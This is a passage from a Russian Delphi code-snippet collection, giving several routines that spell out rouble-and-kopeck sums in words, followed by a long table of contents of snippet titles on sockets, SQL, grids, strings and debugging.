0: t := t + ' ';
1: t := t + 'а ';
2..4: t := t + 'и ';
5..9: t := t + ' ';
end;
end;
i := i mod 1000;
j := i;
if j <> 0 then
t := t + Conv999(j, 1);
t := t + 'руб. ';
i := Round(Frac(S) * 100.0);
t := t + Long2Str(i) + ' коп.';
TextSum := t;
end;
|
Сумма прописью - Способ 7.
unit RoubleUnit;
{$D Пропись © Близнец Антон '99 http:\\anton-bl.chat.ru\delphi\1001.htm }
{ 1000011.01->'Один миллион одинадцать рублей 01 копейка' }
interface
function RealToRouble(c: Extended): string;
implementation
uses SysUtils, math;
const
Max000 = 6; {Кол-во триплетов - 000}
MaxPosition = Max000 * 3; {Кол-во знаков в числе }
// Аналог IIF в Dbase есть в proc.pas для основных типов,
// частично объявлена тут для независимости
function IIF(i: Boolean; s1, s2: Char): Char; overload;
begin
if i then
result := s1
else
result := s2
end;
function IIF(i: Boolean; s1, s2: string): string; overload;
begin
if i then
result := s1
else
result := s2
end;
function NumToStr(s: string): string; {Возвращает число прописью}
const
c1000: array[0..Max000] of string = ('', 'тысяч', 'миллион', 'миллиард',
'триллион', 'квадраллион', 'квинтиллион');
c1000w: array[0..Max000] of Boolean = (False, True, False, False, False,
False, False);
w: array[False..True, '0'..'9'] of string[3] = (('ов ', ' ', 'а ', 'а ', 'а ',
'ов ', 'ов ', 'ов ', 'ов ', 'ов '),
(' ', 'а ', 'и ', 'и ', 'и ', ' ', ' ', ' ', ' ', ' '));
function Num000toStr(S: string; woman: Boolean): string;
{Num000toStr возвращает число для триплета}
const
c100: array['0'..'9'] of string = ('', 'сто ', 'двести ', 'триста ',
'четыреста ', 'пятьсот ', 'шестьсот ', 'семьсот ', 'восемьсот ',
'девятьсот ');
c10: array['0'..'9'] of string = ('', 'десять ', 'двадцать ', 'тридцать ',
'сорок ', 'пятьдесят ', 'шестьдесят ', 'семьдесят ', 'восемьдесят ',
'девяносто ');
c11: array['0'..'9'] of string = ('', 'один', 'две', 'три', 'четыр', 'пят',
'шест', 'сем', 'восем', 'девят');
c1: array[False..True, '0'..'9'] of string = (('', 'один ', 'два ', 'три ',
'четыре ', 'пять ', 'шесть ', 'семь ', 'восемь ', 'девять '),
('', 'одна ', 'две ', 'три ', 'четыре ', 'пять ', 'шесть ', 'семь ',
'восемь ', 'девять '));
begin {Num000toStr}
Result := c100[s[1]] + iif((s[2] = '1') and (s[3] > '0'), c11[s[3]] +
'надцать ', c10[s[2]] + c1[woman, s[3]]);
end; {Num000toStr}
var
s000: string[3];
isw, isMinus: Boolean;
i: integer; //Сч?тчик триплетов
begin
Result := '';
i := 0;
isMinus := (s <> '') and (s[1] = '-');
if isMinus then
s := Copy(s, 2, Length(s) - 1);
while not ((i >= Ceil(Length(s) / 3)) or (i >= Max000)) do
begin
s000 := Copy('00' + s, Length(s) - i * 3, 3);
isw := c1000w[i];
if (i > 0) and (s000 <> '000') then //тысячи и т.д.
Result := c1000[i] + w[Isw, iif(s000[2] = '1', '0', s000[3])] + Result;
Result := Num000toStr(s000, isw) + Result;
Inc(i)
end;
if Result = '' then
Result := 'ноль';
if isMinus then
Result := 'минус ' + Result;
end; {NumToStr}
function RealToRouble(c: Extended): string;
const
ruble: array['0'..'9'] of string[2] = ('ей', 'ь', 'я', 'я', 'я', 'ей', 'ей',
'ей', 'ей', 'ей');
Kopeek: array['0'..'9'] of string[3] = ('ек', 'йка', 'йки', 'йки', 'йки', 'ек',
'ек', 'ек', 'ек', 'ек');
function ending(const s: string): Char;
var
l: Integer; //С l на 8 байт коротче $50->$48->$3F
begin //Возвращает индекс окончания
l := Length(s);
Result := iif((l > 1) and (s[l - 1] = '1'), '0', s[l]);
end;
var
rub: string[MaxPosition + 3];
kop: string[2];
begin {Возвращает число прописью с рублями и копейками}
Str(c: MaxPosition + 3: 2, Result);
if Pos('E', Result) = 0 then //Если число можно представить в строке <>1E+99
begin
rub := TrimLeft(Copy(Result, 1, Length(Result) - 3));
kop := Copy(Result, Length(Result) - 1, 2);
Result := NumToStr(rub) + ' рубл' + ruble[ending(rub)]
+ ' ' + kop + ' копе' + Kopeek[ending(kop)];
Result := AnsiUpperCase(Result[1]) + Copy(Result, 2, Length(Result) - 1);
end;
end;
end.
|
Сумма прописью - Способ 8.
Вполне возможно, что код решения данной ф-ции несколько сыроват и неряшлив, но он работает для бухгалтерских программ (соблюдены правила написания суммы прописью). При вызове ф-ции надо также указывать сокращенные названия основных и разменных денежных единиц (например руб. коп.).
function CifrToStr(Cifr: string; Pr: Integer; Padeg: Integer): string;
{Функция возвращает прописью 1 цифры признак 3-единицы 2-десятки 1-сотни 4-11-19
Padeg - 1-нормально 2- одна, две }
var
i: Integer;
begin
i := StrToInt(Cifr);
if Pr = 1 then
case i of
1: CifrToStr := 'сто';
2: CifrToStr := 'двести';
3: CifrToStr := 'триста';
4: CifrToStr := 'четыреста';
5: CifrToStr := 'пятьсот';
6: CifrToStr := 'шестьсот';
7: CifrToStr := 'семьсот';
8: CifrToStr := 'восемьсот';
9: CifrToStr := 'девятьсот';
0: CifrToStr := '';
end
else if Pr = 2 then
case i of
1: CifrToStr := '';
2: CifrToStr := 'двадцать';
3: CifrToStr := 'тридцать';
4: CifrToStr := 'сорок';
5: CifrToStr := 'пятьдесят';
6: CifrToStr := 'шестьдесят';
7: CifrToStr := 'семьдесят';
8: CifrToStr := 'восемьдесят';
9: CifrToStr := 'девяносто';
0: CifrToStr := '';
end
else if Pr = 3 then
case i of
1: if Padeg = 1 then
CifrToStr := 'один'
else
CifrToStr := 'одна';
2: if Padeg = 1 then
CifrToStr := 'два'
else
CifrToStr := 'две';
3: CifrToStr := 'три';
4: CifrToStr := 'четыре';
5: CifrToStr := 'пять';
6: CifrToStr := 'шесть';
7: CifrToStr := 'семь';
8: CifrToStr := 'восемь';
9: CifrToStr := 'девять';
0: CifrToStr := '';
end
else if Pr = 4 then
case i of
1: CifrToStr := 'одиннадцать';
2: CifrToStr := 'двенадцать';
3: CifrToStr := 'тринадцать';
4: CifrToStr := 'четырнадцать';
5: CifrToStr := 'пятнадцать';
6: CifrToStr := 'шестнадцать';
7: CifrToStr := 'семнадцать';
8: CifrToStr := 'восемнадцать';
9: CifrToStr := 'девятнадцать';
0: CifrToStr := 'десять';
end;
end;
function Rasryad(K: Integer; V: string): string;
{Функция возвращает наименование разряда в зависимости от последних 2 цифр его}
var
j: Integer;
begin
j := StrToInt(Copy(v, Length(v), 1));
if (StrToInt(Copy(v, Length(v) - 1, 2)) > 9) and (StrToInt(Copy(v, Length(v) -
1, 2)) < 20) then
case K of
0: Rasryad := '';
1: Rasryad := 'тысяч';
2: Rasryad := 'миллионов';
3: Rasryad := 'миллиардов';
4: Rasryad := 'триллионов';
end
else
case K of
0: Rasryad := '';
1: case j of
1: Rasryad := 'тысяча';
2..4: Rasryad := 'тысячи';
else
Rasryad := 'тысяч';
end;
2: case j of
1: Rasryad := 'миллион';
2..4: Rasryad := 'миллиона';
else
Rasryad := 'миллионов';
end;
3: case j of
1: Rasryad := 'миллиард';
2..4: Rasryad := 'миллиарда';
else
Rasryad := 'миллиардов';
end;
4: case j of
1: Rasryad := 'триллион';
2..4: Rasryad := 'триллиона';
else
Rasryad := 'триллионов';
end;
end;
end;
function GroupToStr(Group: string; Padeg: Integer): string;
{Функция возвращает прописью 3 цифры}
var
i: Integer;
S: string;
begin
S := '';
if (StrToInt(Copy(Group, Length(Group) - 1, 2)) > 9) and (StrToInt(Copy(Group,
Length(Group) - 1, 2)) < 20) then
begin
if Length(Group) = 3 then
S := S + ' ' + CifrToStr(Copy(Group, 1, 1), 1, Padeg);
S := S + ' ' + CifrToStr(Copy(Group, Length(Group), 1), 4, Padeg);
end
else
for i := 1 to Length(Group) do
S := S + ' ' + CifrToStr(Copy(Group, i, 1), i - Length(Group) + 3, Padeg);
GroupToStr := S;
end;
{Функция возвращает сумму прописью}
function RubToStr(Rubs: Currency; Rub, Kop: string): string;
var
i, j: Integer;
R, K, S: string;
begin
S := CurrToStr(Rubs);
S := Trim(S);
if Pos(',', S) = 0 then
begin
R := S;
K := '00';
end
else
begin
R := Copy(S, 0, (Pos(',', S) - 1));
K := Copy(S, (Pos(',', S) + 1), Length(S));
end;
S := '';
i := 0;
j := 1;
while Length(R) > 3 do
begin
if i = 1 then
j := 2
else
j := 1;
S := GroupToStr(Copy(R, Length(R) - 2, 3), j) + ' ' + Rasryad(i, Copy(R,
Length(R) - 2, 3)) + ' ' + S;
R := Copy(R, 1, Length(R) - 3);
i := i + 1;
end;
if i = 1 then
j := 2
else
j := 1;
S := Trim(GroupToStr(R, j) + ' ' + Rasryad(i, R) + ' ' + S + ' ' + Rub + ' ' +
K + ' ' + Kop);
S := ANSIUpperCase(Copy(S, 1, 1)) + Copy(S, 2, Length(S) - 1);
RubToStr := S;
end;
|
Сумма прописью - Способ 9.
unit Numinwrd;
interface
function sMoneyInWords(Nin: currency): string; export;
function szMoneyInWords(Nin: currency): PChar; export;
{ Денежная сумма Nin в рублях и копейках прописью
1997, в.2.1, by О.В.Болдырев}
implementation
uses SysUtils, Dialogs, Math;
type
tri = string[4];
mood = 1..2;
gender = (m, f);
uns = array[0..9] of string[7];
tns = array[0..9] of string[13];
decs = array[0..9] of string[12];
huns = array[0..9] of string[10];
nums = array[0..4] of string[8];
money = array[1..2] of string[5];
endings = array[gender, mood, 1..3] of tri; {окончания числительных и денег}
const
units: uns = ('', 'один ', 'два ', 'три ', 'четыре ', 'пять ',
'шесть ', 'семь ', 'восемь ', 'девять ');
unitsf: uns = ('', 'одна ', 'две ', 'три ', 'четыре ', 'пять ',
'шесть ', 'семь ', 'восемь ', 'девять ');
teens: tns = ('десять ', 'одиннадцать ', 'двенадцать ', 'тринадцать ',
'четырнадцать ', 'пятнадцать ', 'шестнадцать ',
'семнадцать ', 'восемнадцать ', 'девятнадцать ');
decades: decs = ('', 'десять ', 'двадцать ', 'тридцать ', 'сорок ',
'пятьдесят ', 'шестьдесят ', 'семьдесят ', 'восемьдесят ',
'девяносто ');
hundreds: huns = ('', 'сто ', 'двести ', 'триста ', 'четыреста ',
'пятьсот ', 'шестьсот ', 'семьсот ', 'восемьсот ',
'девятьсот ');
numericals: nums = ('', 'тысяч', 'миллион', 'миллиард', 'триллион');
RusMon: money = ('рубл', 'копе');
ends: endings = ((('', 'а', 'ов'), ('ь', 'я', 'ей')),
(('а', 'и', ''), ('йка', 'йки', 'ек')));
threadvar
str: string;
function EndingIndex(Arg: integer): integer;
begin
if ((Arg div 10) mod 10) <> 1 then
case (Arg mod 10) of
1: Result := 1;
2..4: Result := 2;
else
Result := 3;
end
else
Result := 3;
end;
function sMoneyInWords(Nin: currency): string;
{ Число Nin прописью, как функция }
var
// str: string;
g: gender; //род
Nr: comp; {целая часть числа}
Fr: integer; {дробная часть числа}
i, iTri, Order: longint; {триада}
procedure Triad;
var
iTri2: integer;
un, de, ce: byte; //единицы, десятки, сотни
function GetDigit: byte;
begin
Result := iTri2 mod 10;
iTri2 := iTri2 div 10;
end;
begin
iTri := trunc(Nr / IntPower(1000, i));
Nr := Nr - int(iTri * IntPower(1000, i));
iTri2 := iTri;
if iTri > 0 then
begin
un := GetDigit;
de := GetDigit;
ce := GetDigit;
if i = 1 then
g := f
else
g := m; {женского рода только тысяча}
str := TrimRight(str) + ' ' + Hundreds[ce];
if de = 1 then
str := TrimRight(str) + ' ' + Teens[un]
else
begin
str := TrimRight(str) + ' ' + Decades[de];
case g of
m: str := TrimRight(str) + ' ' + Units[un];
f: str := TrimRight(str) + ' ' + UnitsF[un];
end;
end;
if length(numericals[i]) > 1 then
begin
str := TrimRight(str) + ' ' + numericals[i];
str := TrimRight(str) + ends[g, 1, EndingIndex(iTri)];
end;
end; //triad is 0 ?
if i = 0 then
Exit;
Dec(i);
Triad;
end;
begin
str := '';
Nr := int(Nin);
Fr := round(Nin * 100 + 0.00000001) mod 100;
if Nr > 0 then
Order := trunc(Log10(Nr) / 3)
else
begin
str := 'ноль';
Order := 0
end;
if Order > High(numericals) then
raise Exception.Create('Слишком большое число для суммы прописью');
i := Order;
Triad;
str :=
Format('%s %s%s %.2d %s%s', [Trim(str), RusMon[1], ends[m, 2,
EndingIndex(iTri)],
Fr, RusMon[2], ends[f, 2, EndingIndex(Fr)]]);
str[1] := (ANSIUpperCase(copy(str, 1, 1)))[1];
str[Length(str) + 1] := #0;
Result := str;
end;
function szMoneyInWords(Nin: currency): PChar;
begin
sMoneyInWords(Nin);
Result := @(str[1]);
end;
end.
|
Содержание.
- Вырубить монитор.
- Вырубить монитор 2.
- Выключить или перезагрузить компьютер.
- Как выключить Win2000.
- Как выключить Win2000 2.
- Преобразование сигнала в спекр и обратно (методы Хартли, Фурье и классический).
- Простой расчет контрольной суммы.
- Простая база данных (запись в файл).
- Простой пример DLL.
- Простое число.
- Простой пример XOR шифрования.
- Симулировать щелчок мышкой.
- Создать растягиваемую без бордюра форму.
- Величина SizeOf.
- SoftIce - первые шаги.
- Скины.
- Исследование Winamp Skin Maker v1.2.
- Переход в Спящий режим (WinNT).
- Пропускать сообщения от клавиатуры и мышки в своем приложении.
- Очень медленный доступ к таблице при первом обращении.
- Получить путь к выделенному файлу в TShellListView.
- Сортировать TStringList своим методом сортировки.
- TStringList. Сортировка и системная locale.
- Перевод списка файлов и каталогов из TStringList в TreeView с построением дерева каталогов.
- Создание уменьшенной копии картинки.
- Написать очень маленький инсталлятор.
- Сглажено изменять размер JPEG.
- Убрать зазубринки при рисовании линий.
- Найти smtp mailserver по умолчанию.
- Пример работы с SMTP.
- Простой протокол передачи почты (SMTP).
- Использование SMTP Relay Server.
- Исследование SnagIt32 v4.0.1.
- Управляющий протокол SNMP.
- Описание протокола SNMP (Simple Network Management Protocol).
- Увидеть пароль скрытый за звёздочками 2.
- Увидеть пароль скрытый за звёздочками.
- Социальная инженерия в реверс инженеринге.
- Сокеты 1.
- Сокеты 2 (Кодинг блокирующих сокетов).
- Сокеты 3 (Кодинг неблокирующих сокетов).
- Сокеты 4 (Использование DScan).
- Сокеты в Delphi.
- TServerSocket и TClientSocket без scktsrvr.exe отказываются работать.
- Простой способ отправки файлов при помощи TClientSocket и TServerSocket.
- Посылка и прием сообщений через сокеты.
- Почему несколько блоков при передаче по сокету могут объединяться в один.
- Как запросить страницу с сайта.
- Как запросить страницу с сайта 2.
- Посылка файлов через сокет.
- Руководство по Soft-ICE (DOS) - 1.
- Руководство по Soft-ICE (DOS) - 10.
- Руководство по Soft-ICE (DOS) - 11.
- Руководство по Soft-ICE (DOS) - 12.
- Руководство по Soft-ICE (DOS) - 13.
- Руководство по Soft-ICE (DOS) - 14.
- Руководство по Soft-ICE (DOS) - 15.
- Руководство по Soft-ICE (DOS) - 16.
- Руководство по Soft-ICE (DOS) - 17.
- Руководство по Soft-ICE (DOS) - 18.
- Руководство по Soft-ICE (DOS) - 19.
- Руководство по Soft-ICE (DOS) - 2.
- Руководство по Soft-ICE (DOS) - 20.
- Руководство по Soft-ICE (DOS) - 21.
- Руководство по Soft-ICE (DOS) - 22.
- Руководство по Soft-ICE (DOS) - 23.
- Руководство по Soft-ICE (DOS) - 24.
- Руководство по Soft-ICE (DOS) - 3.
- Руководство по Soft-ICE (DOS) - 4.
- Руководство по Soft-ICE (DOS) - 5.
- Руководство по Soft-ICE (DOS) - 6.
- Руководство по Soft-ICE (DOS) - 7.
- Руководство по Soft-ICE (DOS) - 8.
- Руководство по Soft-ICE (DOS) - 9.
- Основы работы с SoftIce.
- Отсортировать выполнение процессов в системе.
- Сортировка двух связанных списков по целочисленным значениям одного из них.
- Сортировка строк с украинскими символами.
- Проверить, установлена ли звуковая карта.
- Программирование Sound Blaster в защищенном режиме процессора.
- Получение информации о звуковых файлах.
- Как экстрагировать аудиодорожку из AVI файла.
- Как выключить звук.
- Звук через PC Speaker.
- Как вывести звук через звуковую карту.
- Как определить уровень звука в данный момент.
- Как управлять спикером под 9х из Delphi.
- Получить пути специальных папок.
- Как программно щелкнуть по компоненту SpeedButton.
- Скорость работы процессора, точный таймер.
- Как использовать проверку грамматики.
- Великолепный метод Perform.
- Как разделить строку на элементы.
- Splitter Bar.
- Разрезать и соединить файлы.
- Разделить строку на слова.
- Существует ли способ для определение числа заданий Sроо1ега печати.
- Распространение BDE.
- Работа со спрайтами.
- Создание таблиц с помощью SQL-запросов.
- Функции дат в SQL.
- SQL и расширенные символы.
- SQL в Delphi.
- SQL-менеджер Хортица.
- SQL outer join.
- Зарезервированные слова Local SQL.
- SQL - сортировка вычисляемого поля.
- SQL - вложенные пробелы.
- Адаптация значения даты или времени к различным форматам SQL-сервера.
- Синтах SQL-функции Substring.
- SQL - использование функции SUBSTRING.
- SQL - суммирование вычисляемого поля.
- Имя SQL-таблицы.
- Возведение числа в действительную степень.
- Изменить регистр выделенного исходного кода.
- Получение списка серверов в локальной сети.
- SVR API для непродвинутых.
- SVR API для непродвинутых 2 - как получить информацию об открытом сетевом ресурсе.
- sscanf в Delphi.
- Описание протокола SSH (Secure Shell).
- Описание протокола SSL (Secure Socket Layer).
- Инсталляция Screen Saver.
- Получить время задержки хранителя экрана.
- Узнаём стандартные папки Windows.
- Регистрация программ в меню Пуск Windows.
- Изменить размер кнопки ПУСК.
- Создать папку в меню кнопки ПУСК.
- Путь к папке кнопки Пуск.
- Как показать не отдельно формируемое меню кнопки ПУСК, а иерархическое содержимое десктопа.
- Окно в виде звезды.
- Обработчик события OwnerDraw в компоненте StatusBar.
- Показ всплывающих подсказок в строке состояния.
- Показ всплывающих подсказок в строке состояния 2.
- Установить размер шрифта для панели StatusBar.
- Форма постоянно сверху приложения.
- StdIn, StdOut и StdErr. Перенаправление, чтение и запись.
- Липкие окошки.
- Как склеить несколько файлов в один и наоборот (работа с TStream).
- Алгоритм оптимального распределения камней по ящикам.
- Остановка и запуск сервисов.
- Приостановить работу программы.
- Как остановить автодобавление из DBGrid.
- Остановить длинное действие.
- StoredProc становится удобнее.
- Проблемы StoredProc у SQL server.
- Хранимые процедуры.
- Сохранение типа данных множество (TFontStyles).
- StrAlloc и GetMem.
- Буферы для потоков.
- Сохранение и загрузка формы с компонентами потоком.
- Копирование файлов потоком.
- Копирование потока компонент в буфер обмена.
- Растянуть растровый рисунок.
- Растягивание иконки.
- Растягивание изображения при печати.
- Авторазмер для StringGrid.
- В StringGrid ширина колонки подгоняется под длину самой длинной строки.
- Выравнивание колонок StringGrid.
- Выравнивание колонок StringGrid 2.
- Выравнивание колонок StringGrid 3.
- Выравнивание колонок StringGrid 4.
- Выравнивание колонок StringGrid 5.
- Авторазмер ширины колонок TStringGrid.
- Как перетащить целую колонку из StringGrid в ListBox.
- Как удалить выделенную запись из TStringGrid.
- Цвет неактивной ячейки StringGrid.
- После первого щелчка начать редактировать.
- Вставка и удаление строк в StringGrid.
- Сортировка StringGrid с целыми значения.
- StringGrid как DBGrid.
- Ограничение длины поля TStringGrid.
- Перетащить колонки и строки в StringGrid.
- Множественный выбор в TStringGrid.
- Правое выравнивание ячеек TStringGrid.
- Сменить цвет выделения в StringGrid.
- Фокус ячейки TStringGrid.
- Текст в ячейке StringGrid если не помещается переносится на следующую ячейку.
- Сохранить StringGrid в Excel файле.
- StringGrid без выделенной ячейки.
- Манипуляция словами в TStringGrid.
- Копирование StringList в Memo-поле и обратно.
- Обновление картинки в ячейке StringGrid.
- String и PChar.
- Как преобразовать String в Binary и наоборот.
- Создание формы на основе строки.
- Строковая нумерация.
- Чем отличается тип String в Delphi2 и выше от аналогичного в Delphi1.
- Строка как объект StringList.
- Функции для парсинга строк.
- Отобразить строку на определённую структуру.
- Из строки в массив и наоборот.
- Как сохранить и получить строку из INI-файла.
- Подсчитать количество слов в строке.
- Разность между двумя строками - функция Левенштейна.
- Преобразование сроки в число.
- StrToInt и IntToStr вне модуля SysUtils.
- Паскалевский эквивалент StrTok.
- StrTok для Delphi2.
- Сумма и количество прописью, работа с падежами.
- Case для строковых значений без учета регистра.
- Проверка значения строки.
- Быстрые функции сжатия пробелов и управляющих символов в строке.
- Функция проверки корректности ввода.
- Удаление лишних пробелов в строке.
- Подсчет количества вхождений символа в строке.
- Алгоритм поиска подстроки в строке.
- Поиск N-ого вхождения подстроки в строку.
- Нахождение последнего вхождения подстроки в строку.
- Получение N-го слова из строки.
- Повтор строки заданное количество раз.
- Замена в строке всех вхождений одной подстроки, на другую.
- Функция замены в строке всех вхождений одной подстроки на другую.
- Замена подстроки в строке.
- Сканирование строки начиная с указанной позиции с целью нахождения слова.
- Поиск подстроки в строке с заданной позиции.
- Поиск подстроки в строке с заданной позиции (стандартный вариант).
- Преобразование строки с разделителями в StringList.
- Разбиение текста на слова и получение количества слов в тексте.
- Разбивка строки на подстроки с использованием заданного разделителя.
- Заполнение списка словами из строки с возможностью указания множества разделителей.
- Деление строки не несколько строк, указанной длины.
- Сумма прописью - Способ 14.
- Сумма прописью - Способ 15.
- Расщепление строки с разделителями на массив строк.
- Поместить или получить строку из буфера обмена (заплатка к стандартным).
- Преобразование строки в строку для SQL-сервера.
- Преобразование String в PChar.
- Конвертация String в PWideChar.
- Преобразование строки S в набор её чисел, где каждое число представляет каждый символ строки.
- Расщепить строку в слова и обратно.
- Разбивка строки на отдельные слова.
- Небольшой модуль для работы со строками.
- Стилизатор.
- Итерация подкаталогов.
- Подстановка в TEdit.
- Переопределение оконной процедуры и метода для другой формы.
- Сумма прописью - Способ 1.
- Сумма прописью - Способ 10.
- Сумма прописью - Способ 11.
- Сумма прописью - Способ 12.
- Сумма прописью - Способ 13.
- Сумма прописью - Способ 2.
- Сумма прописью - Способ 3.
- Сумма прописью - Способ 4.
- Сумма прописью - Способ 5.
- Сумма прописью - Способ 6.
- Сумма прописью - Способ 7.
- Сумма прописью - Способ 8.
- Сумма прописью - Способ 9.
Спрайт
Маска спрайта
Начальный вариант спрайта
Это уже полученная маска
Вызвали MaskBLT
MaskBlt + BitBlt